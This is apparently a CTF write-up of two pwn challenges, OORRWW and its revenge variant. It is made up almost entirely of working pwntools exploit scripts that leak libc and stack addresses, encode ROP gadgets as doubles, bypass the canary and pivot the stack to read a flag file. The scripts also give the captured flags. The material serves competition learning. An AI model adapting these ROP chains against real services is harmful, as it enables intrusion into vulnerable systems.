dplastico

OORRWW

A ROP challenge where you needed to convert the hex values to double so they could be properly translated.

#!/usr/bin/python3
from pwn import *
import struct

gs = '''
b *main+191
continue
'''
elf = context.binary = ELF('./oorrww')
context.terminal = ['tmux', 'splitw', '-hp', '70']
#libc = ELF('./libc.so.6')
libc = elf.libc
def start():
    if args.GDB:
        return gdb.debug('./oorrww', gdbscript=gs)
    if args.REMOTE:
        return remote('193.148.168.30', 7666)
    else:
        return process('./oorrww')
r = start()
#========= exploit here ===================

r.recvuntil(b"here are gifts for you: ")
leaks = r.recvline().strip()[:-1].split(b" ")#removing !

decoded_leaks = [x.decode('utf-8') for x in leaks]

float_leaks = [float(x) for x in decoded_leaks]

int_leaks = []
for f in float_leaks:
    packed = struct.pack('d', f)
    unpacked = struct.unpack('q', packed)[0]
    int_leaks.append(unpacked)
leak1 = int_leaks[0]
leak2 = int_leaks[1]

log.info(f"stack leak {hex(leak1)}")
log.info(f"libc leak {hex(leak2)}")
#offset 0x62110

libc.address = leak2- 0x62090

log.info(f"libc base {hex(libc.address)}")

def hex_to_double_as_bytes(hex_number):
    int_value = int(hex_number, 16)
    packed = struct.pack('Q', int_value)
    double_value = struct.unpack('d', packed)[0]
    double_str = f"{double_value:.16e}".encode('utf-8')
    return double_str

#0x000000000002a3e5: pop rdi; ret;
#0x000000000002be51: pop rsi; ret;
#0x000000000011f2e7: pop rdx; pop r12; ret;
#0x0000000000091316: syscall; ret;
#0x0000000000029139: ret;
#0x00000000000a00ae: sub rsp, -0x80; mov eax, r12d; pop rbp; pop r12; pop r13; ret;
#0x000000000011eaa4
#0x00000000000d8380 : mov rax, 2 ; ret
#0x0000000000045eb0 : pop rax ; ret
#0x00000000000baaf9 : xor rax, rax ; ret

movrax2 = libc.address + 0x00000000000d8380
poprdi = libc.address + 0x2a3e5
poprsi = libc.address + 0x2be51
syscall = libc.address + 0x0000000000091316
poprdx = libc.address + 0x000000000011f2e7
xorax = libc.address + 0x00000000000baaf9
'''
exploit plan
open(), read(), puts()
'''
#r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(0x7478742e67616c6600)))
#flag.txt
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(0x7478742e67616c66)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(0x0))) #wasted quadword stack is filled we need to put a \0
#ropping
#open(flag.txt)
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(poprdi)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(leak1)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(poprsi)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(0)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(movrax2)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(syscall)))
#read
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(poprdi)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(0x3)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(poprsi)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(leak1+0x100))) #further on the stack
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(poprdx)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(0x50)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(0)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(libc.sym.read)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(poprdi)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(leak1+0x100))) #further on the stack
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(libc.sym.puts)))
r.sendlineafter(b"input:",b"-") #skip canary
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(leak1+8)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(libc.address + 0x0000000000042c2b))) # leave ret to pivot

#========= interactive ====================
r.interactive()
#L3AK{th3_d0ubl3d_1nput_r3turns_whAt_u_wAnt}

OORRWW Revenge

A variation of the previous challenge, comments on the script:

#!/usr/bin/python3
from pwn import *
gs = '''
b *main+165
continue
'''
elf = context.binary = ELF('./oorrww_revenge')
context.terminal = ['tmux', 'splitw', '-hp', '70']

libc = elf.libc

def start():
    if args.GDB:
        return gdb.debug('./oorrww_revenge', gdbscript=gs)
    if args.REMOTE:
        return remote('193.148.168.30', 7667)
    else:
        return process('./oorrww_revenge')
r = start()
#========= exploit here ===================
#0x00000000004012da: mov rdi, rax; call 0x20c0; nop; pop rbp; ret;
#0x0000000000401203: pop rax; ret;
#0x000000000040139f: ret

def hex_to_double_as_bytes(hex_number):
    int_value = int(hex_number, 16)
    packed = struct.pack('Q', int_value)
    double_value = struct.unpack('d', packed)[0]
    double_str = f"{double_value:.16e}".encode('utf-8')
    return double_str


#1
for i in range(19):
    r.sendlineafter(b"input:",b"-") #skip canary

r.sendlineafter(b"input:",b"-")

r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0x0000000000401203))) #pop rax
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0x0000000000401203))) #pop rax
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(elf.got.puts)))

r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0x00000000004012da))) #mov rdi, rax; call 0x20c0; nop; pop rbp; ret;
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0x404100)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0x401110))) #start

r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0)))

#leaks
r.recvline()
leak = u64(r.recvline().strip().ljust(8,b"\x00"))
log.info(f"leak = {hex(leak)}")
libc.address = leak - 0x80e50
log.info(f"libc = {hex(libc.address)}")

#2
#libc gadgets
#0x000000000002a3e5: pop rdi; ret;
#0x000000000011f2e7: pop rdx; pop r12; ret;
#0x000000000016333a: pop rsi; ret;
#0x0000000000045eb0: pop rax; ret;
#0x0000000000091316: syscall; ret;
#0x000000000004da83


poprdi = libc.address + 0x000000000002a3e5
poprdx = libc.address + 0x000000000011f2e7
poprsi = libc.address + 0x000000000016333a
poprax = libc.address + 0x0000000000045eb0
syscall = libc.address + 0x0000000000091316
movrax2 = libc.address + 0x00000000000d8380
leave = libc.address + 0x000000000004da83

for i in range(19):
    r.sendlineafter(b"input:",b"-") #skip canary

r.sendlineafter(b"input:",b"-")
r.sendlineafter(b"input:",b"-")

r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(poprdi)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(1)))

r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(poprsi)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(libc.sym.environ)))

r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(poprdx)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(8)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0)))

r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(libc.sym.write)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0x401110))) #start
r.recvline()

stack_leak = u64(r.recvuntil(b"oops! no more gift this time").split(b"oops! no more gift this time")[0].ljust(8,b"\x00"))
log.info(f"stack leak = {hex(stack_leak)}")

#3
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(0x7478742e67616c66)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(0x0))) #wasted quadword stack is filled we need to put a \0

r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(poprdi))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(3))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(poprsi))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(stack_leak+0x168))) #further on the stack? 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(poprdx))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0x50))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0x0))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(libc.sym.read))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(poprdi))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(stack_leak+0x168))) #further on the stack? 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(libc.sym.puts))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0xcafebabe))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0xcafebabe))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0xcafebabe))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0xcafebabe))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0xcafebabe))) 
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0xcafebabe))) 

r.sendlineafter(b"input:",b"-")
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(stack_leak-0x360)))
#0x358 + leak = our payload (0x348 = flag.txt)
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(poprdi)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(stack_leak-0x368)))#flag.txt
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(poprsi)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex((0))))#
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(movrax2)))
r.sendlineafter(b"input:", hex_to_double_as_bytes(hex(syscall)))

r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(leave)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0xdeadbeef)))
r.sendlineafter(b"input:",hex_to_double_as_bytes(hex(0xdeadbeef))) #start

#========= interactive ====================
r.interactive()
#L3AK{n0w_u_hav3_th3_k3y_t0_th3_inv1s1ble_ffllaagg}